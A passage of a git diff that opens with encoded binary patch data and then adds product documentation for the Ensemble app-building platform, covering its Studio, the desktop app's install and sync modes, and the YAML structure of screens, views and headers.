zJSY@7CWy*O#qmAzm#K3m%{DLXnq|ylv|Zu&wIC&7{)5rcSRIto%_EXN+=l%zGt^0ee?&{T5yY{ZG=jo(?;WH=rIPrre zim}(dHLT^n!Einyy|W|T>*Zh9hIrUAthep=5~lZQZ&%B70^@H_y!<~?caJ- z03UF~st^06e}QtIt1U+xmm%19&*+2V$MeN`DC$kdR1Rj(`omX5Wz z{Uhr}RY0?q_Rhdz^koaCX$ zu`HR9$nWeM89cCz7kLDj_U*)U-*)F$la`ur(w=@#usNCNugxj7RN3_QuE;N?Lmz?N zz2+D;KulBNVr=wJx0KYZyIz~4b{UggXksS&OR+2CF ze#V^mlSqlndeh1GGbxtWf21W7mzQ9`<~Qyr-0Qn8As`O`8 z;905RMP=JT{cqDOVRuj$DhMo!xqk>$Pk*)thVukbNI%pOZ*8a4<=BH^T#d)08G|#}o*2&#qMeNi@O}q|?3mNZfK%d8%=oTacDP#kS2grn8Y*j ziO1B~xXF>KrntV-!OL{}nWOdaYROPr*L7+$yztU-yjuR`TM^7GnwZ8JMZy)!&DH$1 z{i~YjxG^~?DH+^6lu-Flnt|A+E5=b1i~*yc3oU_C1UNGCeP#vgyfdLdzHF=yB?G5^ zYx%0Tj_<=<7b8cfzPb7ebFP*8jbrIBS>L}szEy_t`o~iVia|QvZBVhzS>BiAe+vWk z+BlMZh@08?nJNy9niH~667R`ItqFYB1)-hIXp`)$pB`NRGjKOp=_3dEQp+^w3JKtj z>&&L0WBHwhb8}`sA!}GT(YyKSp_ekaIhnm?*Vwh7U)?>M*n)EYjL|6vB6~)!mlmT3 z0?nT$#c0dBI?QRGtG(BI?7&QPR zdyloTYb&y4lx$`dAGm@|nA@T>i&(jBCM#k{Zlb%Df1>purc@T6)$FXU6|Klv0Vrz% zel-eVbgybdm30)k!U%Nf?hWR-+wpNC=@8*$8iu9gEkTa@FMzd4-jAw>UsiOWSQ={j zqnot(tsxP?5kHt%GVu5=mqHW>NtJb8xAlKDsgIiLfb04nI#F#r1!z1{9UuQa>>x4C#_@ZUZ8m{MLQf=^4GTf#}yNJ=WnnJrmH%r}p~7f9=Y) z1w|*xEUOsDGUKj3MrQ

    -of@B8V-m88(kDCfN*XT(*i6PlV8}AjpM)FG(&Sa4PXq zF6uRfu2@j;rGSgnOFs-voM5evh?qrYJu%_gAfgH*v*nzt-P~STZf@N=^FV|hhR0hN z_mo_u7CcR%I~+i>N34^=AE^;^Xp>x#n|&3sY|;sQdEOx7Ta@q$64B@;ig6M{?EG;7 zQ#^5GoFl1&*;y%vXdD$!tT+O{=OjeKLqMr*YGAHzxo5 z*hNUO)zCL1f?zPf$la`Twf9OPS~iG3{&ubF$i8%QBQB)PYt?y~vrSuatH%BUK4D|C zv9Iq3xh?w<(jqVC!;$@A-pYsjZ;!z>z(PsV0ddfGv8hIC$!4~5hrfcw-PfQXaC6Q6 zFcLvFe1FehHpXDLin@ZRn>?s;DS?D(Y{~^-kui^&HI4_v$T2^#(1{T%cZ+LuVEtM2 zOi42R5EhgAcm4DcB9tj`moDZ~r?S|HaES>Z$TeR@d;|r(-mjZnG5>pJygHI2q8Sdg zB6(ZrM%S^dDpx&S)$ww#4fSou1E$FuYGLi~%o?tBB3BWgs@apGo~DG$aG1_t2ZdE4 zTyh~do}qr=-+Sj@kt#$%QgZIJmibvHY|sy5ycY>^fVTQ@gW+r* z#4+uzXaVh$AGrAZb8NO{$#vG_U7s9|Am#8p=98q=3wr(GeNcs&;P+E%@!G&AvjV_l-r#{Iqut2 zS#GMY|2A2JXT1|@1j!t!(q+cxx*s5o$(JC}S)2X`xfe2C={RmdIZS1=`^hUgvsI-F z5>q0B#FWtzWF)AyG!Zs-MZ2TN+Vuxl7A*JEYa^MQ0QZE4PmFyO+7+z$C9ko4=s z2FSj3!z4vw&qIr(b){{>`yC)r0ga;x;kBY*FPaB~o)}D+Scw2)*7;L*EQeq4S-!A@ zL2OinEJ6MBuDE!VX-S$sdrtQXgvN60`4-y`#z!gS8IdrL#mM8jH{jKI)nYPmZI+xZ zYa%u80xFv`(R^raTV@iXqW$h0UnVl&OUzYl-p5*aukbvTY_i~8otM@5-*H;i#^btn z1fYei-*KLsQ=Co6MkFw$Y6gwtp=&~DeSOuWsJ%I*W{GTjQ*kS+PtH#IO?ils_Svfb zmTuMGH>MJQka6qGxWqzAHKNqj%+B`gXn#j??*lI}#iIFRj(^gcZzu(oJc1qgo(@zt zyGXZYp6lB%IR4vgTcs%Q&A*w&=VLd=cl7@Yo(3lUAEz76e?@LD|4WcQ`wxvO_2)nO zxBnlSa!$VahvSv{GI8Mk5)I85-dJA`SXx@D2nzm3!SHXBUGUkNb6$S_qo@&*$?btN z{G0N<<0Oq0HSU=Eg48ttCI3b1Zjmtv3i?jqS7tf2lYFhHsGtT1!CM1iqkP=Z)bf$QcLRbc;lHXE-35%W zp~tuFR8mpNWLrP9htR6V)GGS={=*-s^pG=!anh8Hjg2)X<9zCTMu~_+>Z%t626g1V zsjPU}F?OE$Mf$HfP33tt+Fw*)#EFUrW4HyZzGSd{E-SF2deXQZ$Ei!+VKok#{D6EX zsKhWdQD$&q%`TkFR>`V*;dnvJArCrEHkeV^?y6`HDEu8hz*kVco61$9NO+W1JEM(X z%f$C8wq{S3muXyEt%H`Vd}?nVPW1CnW{t1BHaPM82ry)uRkgsvGfSE0EeY@)O_k&g zldxU?NayDxx;$hHsa%jPLH#6mw8e|x{#p7_SIAQV@3%#-y}wjE5F&Li%L(ttkc%cw zcpsWMvsYTYni#8fK)c$hr=GJSb&%*gwsfRJTEZCMLU32rxv2WVqSmFK+Ezusb-g3@ zLFTg9uWJb8Uore;7Nbyec251ln?=4bYz7<+u{}#`+hKvrL@nOPcBNjUQ}_M!H4-fh zVxkk0Q-Fp&&QMnFOdJZ(NkIq2)KzR8S>%bEPo57A;JX?z?oLG3E;tZou6@jRHYBYU zQQG5x``vXfTMHWYmC&(5*ynwpo{U6&PyJ?VxdzsafaQZz_lwJ*(f20MRN=Ra49qh< zq{5ZF0k-|F%^*o3zC>=B?mw1`r>o-CZ!NgE3ED&NPz)9-E@>RE`(M=QQA2)TJlWS4G1)PZ1DbS0e$bfaF&#ZF_Ej z#N?x6jtXi7a?`ZI7m;&MYwQSir9p zX<~uHYKS7wpkh4I_o0-@*M@?<-K=0I7`NO6Psn&?`a$oRm|szxWqRg!s+|PHp(*<8 zkFo`AiJk4Nfp+$&AqVXuZN_|cT|w+PhvJ^2;Nn1=sf0Uw&SgSo zeh|l+JWxYqY?EHxqoY6*0Z@<4`=TP}Xd_Rt;oVlVizY$B?L>8_M&*p}6e{IW{z-EY zba1^r_N~mDaS^pYQQSmr$8!wwrxOXc(KO_Pc41}fIh5l&SF|nu%8%-6iAtLlvDT#+ zI*9GrnZ-|8De_~rSxlfJ^Fa;z3_}j{tc<1~Q<&A7PDV1j8nHU5E(HaZ)IoksOJFWt zM4X5D&ex>kP&-|``f%2c!GfClSEc%r&@fZ3eE{ zeLHf8b-nfmmATe1U#@w;)=eCrVI_Wk08MhMS6SetjO}Gp2fgvUa;Jt*3K?0o(M$pd z`>WAcXuqVgkkEvaxr2j)q@$d03NlXbj%IlU;36%W2H~H2)nLp%ya7g4DQBkXsH<^2 zyL}~)3YW`3*d7|jfFEQ<$ZAm@p7l!SL%;f+IToZa_Q-)s{5gK|rXtQEU+WSXzV14c zX`7_dQ5?Bz((oY6lVzx~JVmS{Gx)_?95DM+-!`Q2s+{38b?D>4(k;2qdSt%44;JJe z#>iv`<_}HQ{%+`6=n)9Y<$~ZoRL_s%ZSi?zIsys<| z<*NDja#(k6(q%UuI38=e4d<#jhaEGjSL*`i<80uK#y#wiWhoI7F}YtZFxQKx1-yru zYA-joxxqsFK)TetZIN$duNUI0Emqx9>b$jURuX|@|=mD{tR)y}fi);oodLlnJ# zS>g(7swUl7u;SY4K&*uUQ}8KUHegyc6JKmzCXHUj92H4wF<5yMmMpDF>C^*ta3jM$ zrpS4~KpI=;7F1rV+sf*K#+P;=`zQNCJZr%&t~uMyOAujIzAq+)(N`rRJfcm60cDwO z$F$aut5~F^%r>nP2#fyyos{@vyay9EWFm%E1q8osf3(LoaXTkxh@QTHzA&Dr~iPyn9Z>A zK?K#Ly){5E|F_p2ccNJ51P?eJh( zXOVyS2oX;I_Qb|Iv<-?zbUK)_+zI7P*mlVp+G}N? ziVr54ao@F>bp*fQdta23R@th3Y_<74qh_=!`b+7zy4M+T9HuXBQQE}CZ{M4z0f)j0 zccR!zCrdQM_zaN)_Rpm3 zq{a{YnHV@s#h{TKi!D$DdB7>X>SUonYL6@z-MFRQEpr2W>_-CtCk@HX?P=abI_@b_R6wmNJHVESfz z8W6?_WyYC+%B)U~p{10iF*CI@R#}-*&24eO@TJqI0SlV~S7RJ~&|ojep69Lu51yT@ z^s+$vEfG?vvc7=I?D%n);Un}fGQj#~dhFC`YKdfpIDSDpLLE(t#TU(v0uZZkBs4`j zsPwB}FKJ=Lm@g5b5Si!!vW#@3C*_v?H-sAmwC))LQ(dy5N z&E)irWdox~wZ|i(m%p9I>ler9Np4~+?)y!NeT?N@9%eM46jHQ;(9I>NY{E)q6)u!r zUeD#_fF-x z72Y!wr;uXWhJuxtv@JDmx|lCXowB&B2twH{B^L>!l;65(4E*yfekMNDp(;g}^^w)r z<#}i2rdkIxYxRDZWI4*T0B`r54MB~uG%93aF&Z;giSe-6aKA5le9q=kq#jmV(rC&OE;AY`r6Fr;wWmlwO_2D(8w}57-4alI zp<_3?)~P-DZTHYhj+ws$?<*y*nk#mtg=4}@tO}E%Z?h~xyU^*Jvd^!|bedAfF?&I* z><(6tp=s6I5m&8_#Sg?TKOijSf444m$kDvi1XhGy8bX@2(`rrKFqqiqO{*8HTRURy zr3Fgok-=yuRnpLE$mgV5n7KQ!GcdU~`RN*6&MjR-eNt4hsnL0%tnow#Xd<2L^>NG> z{q(o`l8S0x~OMz+WC{!RJNdcV)#jv$L{m9CY9rFBiU^ZrpJfF zs$>fM&Qs6O>6Zi+A1=Wpbcz%^jUmh8t9DIg-lK}pUA?g-;aipfuDGpzWu#e9wAO&~O@Qc+g|wa_Fop&T&%gk<*#IiaqDCImD0skngClcSq(4 ziG~>Pt)pXNKF)gwLAU@}TVi_?Hwu!cj@;S-Dw?FX>=iV4#T|zETLhc6B zS3g4YUwb0!_8YlKKy8B9h``AB+@M|~S*$XcR#32c{i>(4vs3u&&kK~+$E#&`4-ZbK zHQ}!A?%SK~_}l&b_^(gPc*8HKLf_4IW5S3(Y5NHrQne2OTRPutCle#b3?({mb?r`l`ZoW3WZ)fA(v%rKE;28?=&b)<(f}|$wQIK;l$jAhK8D-Kg0cw^{7yp zzP~dwk$6s^t?=eYtwP^ZNDJv=4Pzv$8Dj8%y;d%CwErlsdiV_7-FYS_C-IP|&i8#Q zd#`^{Gd-AQER-9J*x&xiWbkSZ)Bh>XpG!JBbMUSE!y?w%k)`*R@Bg&}VGjLQ6J(z@ w{^O#5{a*q7^ZyF9zW&Ex|Np8f4Dk%}r&k&FpD(4ze+Qt*Nh?cLNPG$YACj|(1^@s6 diff --git a/public/llms-full.txt b/public/llms-full.txt index 39e3c9c..4a49d08 100644 --- a/public/llms-full.txt +++ b/public/llms-full.txt @@ -1,21533 +1,21533 @@ -# Welcome to Ensemble - -## What is Ensemble? - -Ensemble is a platform where you can build, publish, and iterate native and web apps without leaving your browser. - -With Ensemble, you create apps by defining them using a declarative language. Think of it as configuring your app, instead of coding it. Ensemble apps are rendered at runtime by interpreting this declerative definition. This architecture means that: - -1. Ensemble apps are native to each platform: iOS, Android, and web. -2. Ensemble apps can be updated instantly because the app definitions are pushed to clients. You can use Ensemble's cloud service, or use your own server. -3. Ensemble apps always leverage the latest front-end technologies (Flutter for iOS and Android, React for web) so that you don't have to worry about tech-debt incured by using these technologies. - -![architecture](public/images/architecture.png) - -## How do I build my app? - -Ensemble provides a browser-based IDE, [Ensemble Studio](https://studio.ensembleui.com), where you can build, test, and publish your apps all from the browser. You can instantly preview your Ensemble apps on iOS and Anrdoid devices using [Ensemble preview app](#preview-your-app). Once ready to publish, Ensemble automatically push your apps to Apple AppStore and Google PlayStore. For web, you can download a web build and host it on any service. - -## Need help? - -[Chat with us on Discord](https://discord.gg/cEHkJTmn75) - -[Join our office hours](https://discord.gg/eJrUWhnRHS?event=1218554330765066310) - -[Drop us an email](mailto:hello@ensembleui.com) - -## Table of Contents - -- [Studio overview](#studio-overview) -- **Desktop App** - - [Ensemble Studio Desktop App](#ensemble-studio-desktop-app) -- **Screens and Widgets** - - [Ensemble Screen Structure](#ensemble-screen-structure) - - [Layouts](#layouts) - - [Screen Navigation](#screen-navigation) - - [Widgets Directory](#widgets-directory) -- [Script with JavaScript](#script-with-javascript) -- **Apis** - - [Interact with APIs](#interact-with-apis) - - [Define APIs](#define-apis) - - [Invoking APIs, aka calling APIs](#invoking-apis-aka-calling-apis) - - [Access API response body and headers](#access-api-response-body-and-headers) - - [onError](#onerror) - - [Binding APIs to Item Templates](#binding-apis-to-item-templates) - - [Mocking API responses to develop and test your app](#mocking-api-responses-to-develop-and-test-your-app) - - [Chaining APIs](#chaining-apis) - - [SSL Configuration](#ssl-configuration) - - [GraphQL](#graphql) - - [Using WebSockets](#using-websockets) -- **Theme and Styling** - - [Theme](#theme) - - [Animations in EnsembleUI](#animations-in-ensembleui) - - [Using Custom Fonts](#using-custom-fonts) - - [Splash Feedback (Touchable Opacity)](#splash-feedback-touchable-opacity) - - [Text scaling](#text-scaling) -- [Assets (images, videos, etc.)](#assets-images-videos-etc) -- [Persistent Local Storage](#persistent-local-storage) -- [App Settings](#app-settings) -- **Firebase** - - [Configuration of Firebase Project with Ensemble App](#configuration-of-firebase-project-with-ensemble-app) - - [Calling Cloud Firestore APIs](#calling-cloud-firestore-apis) -- [Translations](#translations) -- **Authentication** - - [Authentication](#authentication) - - [Social Sign In](#social-sign-in) - - [Setting up Authentication with Firebase](#setting-up-authentication-with-firebase) - - [Setting up Authentication with Auth0](#setting-up-authentication-with-auth0) -- **Moengage** - - [MoEngage Integration](#moengage-integration) -- [Adobe Analytics](#adobe-analytics) -- **Deep Link** - - [Setup Deeplink](#setup-deeplink) - - [Setup Deferred Deeplink](#setup-deferred-deeplink) -- **Extending Ensemble** - - [Embed Flutter screen in an Ensemble app](#embed-flutter-screen-in-an-ensemble-app) - - [Using local assets](#using-local-assets) -- **Concepts** - - [Understanding Widget Sizing](#understanding-widget-sizing) - - [Item Template](#item-template) - - [Data Binding](#data-binding) - - [Screen Lifecycle](#screen-lifecycle) - - [Custom Widgets](#custom-widgets) -- **Test** - - [Preview your app](#preview-your-app) - - [Automated Testing](#automated-testing) -- **Deploy** - - [Preparing your App for deployment](#preparing-your-app-for-deployment) - - [Configure Social Sign In for Deployment](#configure-social-sign-in-for-deployment) - - [Deploy to iOS TestFlight](#deploy-to-ios-testflight) - - [Connecting to OAuth services (Optional)](#connecting-to-oauth-services-optional) - - [Deploy to Android devices](#deploy-to-android-devices) - - [Deploy to Android Play Store](#deploy-to-android-play-store) - - [Prepare for Production](#prepare-for-production) - - [Making your app work when offline](#making-your-app-work-when-offline) - - [Guide: Generating Google Play Console API Key](#guide-generating-google-play-console-api-key) - - [Guide: Generating API Key for App Store Connect](#guide-generating-api-key-for-app-store-connect) - - [Guide: Generating a Firebase Service Account for App Distribution](#guide-generating-a-firebase-service-account-for-app-distribution) -- [Host and serve your app definition on your own server](#host-and-serve-your-app-definition-on-your-own-server) -- **Widgets** - - [Accordion Widget](#accordion-widget) - - [Avatar widget](#avatar-widget) - - [Button widget](#button-widget) - - [Calendar widget](#calendar-widget) - - [Carousel widget](#carousel-widget) - - [ChartJS widget](#chartjs-widget) - - [Checkbox widget](#checkbox-widget) - - [Column widget](#column-widget) - - [Conditional widget](#conditional-widget) - - [ConfirmationInput widget](#confirmationinput-widget) - - [DataGrid widget](#datagrid-widget) - - [Date widget](#date-widget) - - [Divider](#divider) - - [DropDown widget](#dropdown-widget) - - [FittedColumn (deprecated)](#fittedcolumn-deprecated) - - [FittedRow (deprecated)](#fittedrow-deprecated) - - [FlexColumn](#flexcolumn) - - [FlexRow](#flexrow) - - [Flex](#flex) - - [Flow](#flow) - - [Form widget](#form-widget) - - [GridView](#gridview) - - [HTML widget](#html-widget) - - [Icon widget](#icon-widget) - - [Finding supported icons and their library](#finding-supported-icons-and-their-library) - - [Image widget](#image-widget) - - [InlineTimePicker Widget](#inlinetimepicker-widget) - - [ListView](#listview) - - [LoadingContainer Widget](#loadingcontainer-widget) - - [Lottie Animation widget](#lottie-animation-widget) - - [Map widget](#map-widget) - - [Markdown widget](#markdown-widget) - - [Multi-Child Layout widgets](#multi-child-layout-widgets) - - [PasswordInput widget](#passwordinput-widget) - - [Profile Image Widget](#profile-image-widget) - - [Progress Indicator](#progress-indicator) - - [QRCodeScanner widget](#qrcodescanner-widget) - - [QR-Code widget](#qr-code-widget) - - [RadioButton](#radiobutton) - - [RadioGroup](#radiogroup) - - [ensemble.RatingStars widget](#ensembleratingstars-widget) - - [Row](#row) - - [Shape Widget](#shape-widget) - - [Signature Widget](#signature-widget) - - [Slidable Widget](#slidable-widget) - - [Slider Widget](#slider-widget) - - [Spacer](#spacer) - - [Stack](#stack) - - [Staggered Grid](#staggered-grid) - - [Switch widget](#switch-widget) - - [TabBar](#tabbar) - - [TextInput widget](#textinput-widget) - - [Text widget](#text-widget) - - [Time widget](#time-widget) - - [TripleSwitch widget](#tripleswitch-widget) - - [Type References](#type-references) - - [Video widget](#video-widget) - - [WebView widget](#webview-widget) - - [Youtube](#youtube) -- [Composite Widgets](#composite-widgets) -- **Actions** - - [authenticateByBiometric](#authenticatebybiometric) - - [BLE Client](#ble-client) - - [callExternalMethod](#callexternalmethod) - - [checkPermission](#checkpermission) - - [readKeychain](#readkeychain) - - [saveKeychain](#savekeychain) - - [clearKeychain](#clearkeychain) - - [closeAllDialogs](#closealldialogs) - - [connectWallet](#connectwallet) - - [copyToClipboard](#copytoclipboard) - - [Device Security](#device-security) - - [Actions](#actions) - - [dispatchEvent action](#dispatchevent-action) - - [executeActionGroup](#executeactiongroup) - - [executeCode](#executecode) - - [executeConditionalAction](#executeconditionalaction) - - [getLocation](#getlocation) - - [getNetworkInfo](#getnetworkinfo) - - [getPhoneContacts](#getphonecontacts) - - [invokeAPI](#invokeapi) - - [invokeHaptic](#invokehaptic) - - [logEvent](#logevent) - - [Action: navigateBack](#action-navigateback) - - [navigateModalScreen](#navigatemodalscreen) - - [navigateScreen](#navigatescreen) - - [navigateViewGroup](#navigateviewgroup) - - [notification](#notification) - - [onNavigateBack](#onnavigateback) - - [Action: onViewGroupResume](#action-onviewgroupresume) - - [Action: onViewGroupUpdate](#action-onviewgroupupdate) - - [openAppSettings](#openappsettings) - - [openCamera](#opencamera) - - [openPlaidLink](#openplaidlink) - - [openUrl](#openurl) - - [pauseAudio](#pauseaudio) - - [pickFiles](#pickfiles) - - [playAudio](#playaudio) - - [Pull To Refresh](#pull-to-refresh) - - [rateApp](#rateapp) - - [requestNotificationAccess](#requestnotificationaccess) - - [resumeAudio](#resumeaudio) - - [saveFile](#savefile) - - [seekAudio](#seekaudio) - - [getSecureStorage](#getsecurestorage) - - [setSecureStorage](#setsecurestorage) - - [clearSecureStorage](#clearsecurestorage) - - [Share](#share) - - [showBottomModal](#showbottommodal) - - [showDialog](#showdialog) - - [showNotification](#shownotification) - - [showToast](#showtoast) - - [startTimer](#starttimer) - - [stopAudio](#stopaudio) - - [stopTimer](#stoptimer) - - [takeScreenshot](#takescreenshot) - - [uploadFiles](#uploadfiles) -- **Utilities** - - [Formatter](#formatter) - - [Device](#device) -- **Device Capabilities** - - [checkPermission](#checkpermission) - - [getLocation](#getlocation) - - [getPhoneContacts](#getphonecontacts) - - [invokeAPI](#invokeapi) - - [invokeHaptic](#invokehaptic) - - [navigateBack](#navigateback) - - [navigateModalScreen](#navigatemodalscreen) - - [navigateScreen](#navigatescreen) - - [notification](#notification) - - [openCamera](#opencamera) - - [pickFiles](#pickfiles) - - [rateApp](#rateapp) - - [requestNotificationAccess](#requestnotificationaccess) - - [Share](#share) - - [showDialog](#showdialog) - - [showNotification](#shownotification) - - [uploadFiles](#uploadfiles) -- **Javascript Reference** - - [Add logic using JavaScript](#add-logic-using-javascript) - - [JavaScript Date](#javascript-date) - - [Ensemble Objects and their properties](#ensemble-objects-and-their-properties) - - [Exception Handling in Javascript](#exception-handling-in-javascript) - - [Defining and Re-using Javascript Code](#defining-and-re-using-javascript-code) - - [console.log](#consolelog) - - [JSON](#json) - - [JsonPath](#jsonpath) - - [Object](#object) - - [JavaScript Math](#javascript-math) - - [Number Functions](#number-functions) - - [String Functions](#string-functions) -- [AppInfo object](#appinfo-object) -- [Device object](#device-object) -- **Tips and Tricks** - - [Getting help from Ensemble team](#getting-help-from-ensemble-team) - - [Custom BottomNavBar item styling](#custom-bottomnavbar-item-styling) - - [Building responsive UIs](#building-responsive-uis) - - [Use device's camera for updating profile picture](#use-devices-camera-for-updating-profile-picture) - - [Inputs to ChartJs](#inputs-to-chartjs) - - [How to modify the BottomNavBar with custom styling and widgets](#how-to-modify-the-bottomnavbar-with-custom-styling-and-widgets) - - [Open Maps with Coordinates on Android and iOS](#open-maps-with-coordinates-on-android-and-ios) - - [Using navigate Screen with BottomNavBar](#using-navigate-screen-with-bottomnavbar) - - [Dynamic Color Modification in JavaScript](#dynamic-color-modification-in-javascript) - - [Configuring BottomNavBar Icons](#configuring-bottomnavbar-icons) - - [Invoke Haptics](#invoke-haptics) - - [Custom Lottie Animations with Events and Controls](#custom-lottie-animations-with-events-and-controls) - - [HTML Widget with maxLines Support and Enhanced Styling](#html-widget-with-maxlines-support-and-enhanced-styling) - - [Push Notification](#push-notification) - - [Using device width and height](#using-device-width-and-height) - - [Using BottomSafeArea for Responsive Layouts](#using-bottomsafearea-for-responsive-layouts) - - [Floating Button](#floating-button) - - [Creating an Avatar](#creating-an-avatar) - - [Cookies in Webview](#cookies-in-webview) - - [adding this timer here just so that we can delay closing the dialog](#adding-this-timer-here-just-so-that-we-can-delay-closing-the-dialog) - - [General Color for All Buttons across an App](#general-color-for-all-buttons-across-an-app) - - [Icon Without Label](#icon-without-label) - - [Profile Picture](#profile-picture) - - [Specify library icons for start and end](#specify-library-icons-for-start-and-end) - - [No Bounded Width Error](#no-bounded-width-error) - - [No Bounded Height Error](#no-bounded-height-error) - - [FlexRow No Bounded Width Error](#flexrow-no-bounded-width-error) - - [FlexColumn No Bounded Height Error](#flexcolumn-no-bounded-height-error) - -# Studio overview - -Ensemble Studio is where you can build, test, and publish apps. You can invite your team to collaborate on the same app. - -https://studio.ensembleui.com - ---- - -# Ensemble Studio Desktop App - -## When to use the desktop app - -1. If you wish to use your own git to store your app definition - this allows you to create branches and pull requests. -2. If you wish to work offline and without internet connection - -## Installation & Setup - -### Windows - -1. Download the Windows installer [here](https://storage.googleapis.com/ensemble-web-studio.appspot.com/desktop_app/latest/win32/x64/ensemble-web-studio-x64.exe): - -2. Run the downloaded `.exe` file -3. Launch Ensemble Web Studio -4. **Note:** Microsoft Defender SmartScreen may display a warning -Step 1: You will see a "Windows protected your PC" message. -Step 2: Click "More info" text to reveal additional options. -Step 3: Click "Run anyway" button to proceed with the installation. -Once confirmed, the application will open. - -### macOS - -1. Download the macOS package [here](https://storage.googleapis.com/ensemble-web-studio.appspot.com/desktop_app/latest/darwin/arm64/ensemble-web-studio-arm64.dmg): -2. Run the downloaded `.dmg` file -3. Move the application to your Applications folder -4. Launch Ensemble Studio - -## Environment Modes - -You can switch between Local and Development modes using the environment dropdown available on **home and every app page**: - -### Development Mode - -Development mode connects to the cloud environment: - -- Files are stored in Firebase -- Requires internet connection -- Changes are synchronized with other collaborators -- Suitable for real-time collaboration - -### Local Mode - -Local mode allows you to work completely offline with files stored on your local machine: - -- Files are stored in your system's user directory -- No internet connection required -- Changes are saved locally -- Connect the local folder to a git provider to create branches and pull requests -- Perfect for offline development or testing - -Local files location by operating system: - -- Windows: `%APPDATA%/ensemble-web-studio` -- macOS: `~/Library/Application Support/ensemble-web-studio` - -Note: - -- You can switch between modes at any time using the dropdown -- The selected mode affects where your changes are saved -- Each mode maintains its own version of the files -- Remember to use Pull/Push operations when you want to sync between modes - -## Synchronization - -### Pulling from Cloud to Local - -To work with an app locally: - -1. Launch the desktop application -2. Click on the `...` menu button on the app card you want to work with -3. Select "Pull App" from the context menu -4. Select the target directory and click the `Pull` Button -5. Wait for the pull to complete - -### Pushing Local Changes to Cloud - -To push your local changes back to the cloud: - -1. Launch the desktop application -2. Click on the `...` menu button on the app card you want to work with -3. Select "Push App" from the context menu -4. Wait for your changes to push on the cloud - -## Local File Structure - -When working in local mode, files are organized as follows: - -```directory -/ -├── assets/ -├── fonts/ -├── scripts/ -├── widgets/ -├── screens/ -├── translations/ -├── config/ -│ ├── appConfig.json -│ ├── secrets.json -├── theme.yaml -├── .manifest.json -``` - -Key location: - -- `manifest.json`: App configuration and settings - -## Additional Resources - -For more information or support, join the [Discord community](https://discord.gg/cEHkJTmn75) or refer to the official documentation. - ---- - -# Ensemble Screen Structure - -Ensemble apps are built using a collection of screens, along with reusable components like [widgets](#widgets-directory), [scripts](#defining-and-re-using-javascript-code), [assets](#assets-images-videos-etc), etc. This guide explores the core structure of an Ensemble screen and the elements that make it up. - -**Key Components of Screen:** -This section serves as a reference point for the key elements you'll encounter while creating a screen on Ensemble: - -- [View](#view): The fundamental building block for screen content and layout. -- [ViewGroup](#view-group): A container for managing and arranging multiple views. -- [Header](#header): Optional element for displaying titles, navigation, or controls at the top of the screen. -- [Menu](#menu): Optional element for user navigation within the app. -- [Body](#body): Main content area of a screen, typically containing widgets. -- [API](#api): The collection of functions and tools provided by Ensemble for building your app. -- [Global](#global): Elements or functionalities accessible across all screens in your app. - -Below is the overview of the basic components being arranged on the screen. - -

    -Page Skeleton -

    - -## View Group - -The ViewGroup widget allows you to group multiple Views together and organize them behind a menu, such as a Drawer, EndDrawer, BottomNavBar, SideBar, or EndSidebar. This provides a convenient way to create structured layouts and navigation within your application. - -### Example - -Let's look at an example with a `Bottom Navigation Bar` menu type. - -```yaml -ViewGroup: - BottomNavBar: - styles: - backgroundColor: white - items: - - icon: search - label: Search - page: Home - - icon: assignment - label: Appointments - page: MyAppointments - - icon: list - label: My Doctors - page: MyDoctors - - icon: account_circle - label: Profile - page: Profile -``` - -##### Output - -

    -BottomNavBar -

    - -> To get hands-on experience with View Group, check the live example on [Ensemble Studio](https://studio.ensembleui.com/app/3vEZBIhDyYnIQo6BLN2O/screen/Wewvp6ZUyb0PBwkTAltQ?propertyPanelEnabled=true&instantPreviewDisabled=false) - -## View - -The View widget defines the overall structure of a page, including properties like header, body and more, to create a cohesive layout and presentation within your application. View requires only body while other components like [header](#header) and [menu](#menu) are optional. - -#### Properties - -| Property | Type | Description | -| :------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| header | object | [details](#header) | -| body | object | [details](#body) | -| onLoad | action | Execute an Action from a set of pre-defined set of actions when the screen loads | -| onPause | action | Execute an Action when this screen is no longer active. This happens when another screen navigates on top of this screen, or when the App (Native only) is no longer in the foreground. | -| onResume | action | Execute an Action when this screen becomes active again from the inactive state. This happens when navigating back from another screen, or when the App (Native only) is brought back to the foreground. | -| options | string | Specify if this is a `regular` (default) or `modal` screen. | -| styles | object | [see properties](#viewstyles) | - -#### View.styles - -| Property | Type | Description | -| :--------------------- | :------------------------------------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| backgroundColor | [Color](#color) | Background color for the screen starting with '0xFF' for full opacity e.g 0xFFCCCCCC. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| backgroundImage | [BackgroundImage](#backgroundimage) | Background image of the View. | -| useSafeArea | boolean | Applicable only when we don't have a header. If true, insert paddings around the body content to account for the devices' Safe Area (e.g. iPhone notch). Default is false. | -| scrollableView | boolean | Specify if the content of this screen is scrollable with a global scrollbar. Using this also allows you to customize the scrolling experience of the header. | -| showNavigationIcon | boolean | For a screen with header, the App will automatically show the Menu, Back, or Close icon (for the modal screen) before the title. On the modal screen without the header, the Close icon will be shown. Set this flag to false if you wish to hide the icons and handle the navigation yourself. | -| navigationIconPosition | string | On modal screen without a header, you can position the close button at the `start` or `end` of the screen. For left-to-right languages like English, start is on the left and end is on the right. This property has no effect on a screen with header. | - -## Header - -The header contains the Safe Area (e.g. iPhone notch) and by default has the background color of your theme's primaryColor. It includes: - -1. `navigation icon`. If a drawer menu is used the system will automatically show an icon to open/close the drawer, otherwise if this page can navigate back to the previous page, the back arrow will be shown. If neither condition is true, the icon will not be visible, in which case the title will stretch to fill the entire horizontal space. -2. `title`. Its simplest form is a string which is the title text. You may override it with a custom widget. -3. `flexible background`. Specifies a widget that will fill the entire header (including the notch). This is typically used as a background for the header. This widget will be laid out first, with the navigation icon and the title overlay on top. - -#### Properties - -| Property | Type | Description | -| :----------------- | :----------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| titleText | string | The title for the screen | -| titleWidget | [Widget](#widget-directory) | Render this widget as the screen title | -| styles | object | [see properties](#headerstyles) | -| flexibleBackground | [Widget](#widget-directory) | This widget (typically used as an background image) acts as the header's background, with the title bar and the bottom widget overlaid on top. On non-scrollable screen, its dimensions is dictated by the header's width and height. | - -#### Header.styles - -| Property | Type | Description | -| :---------------- | :---------------------------- | 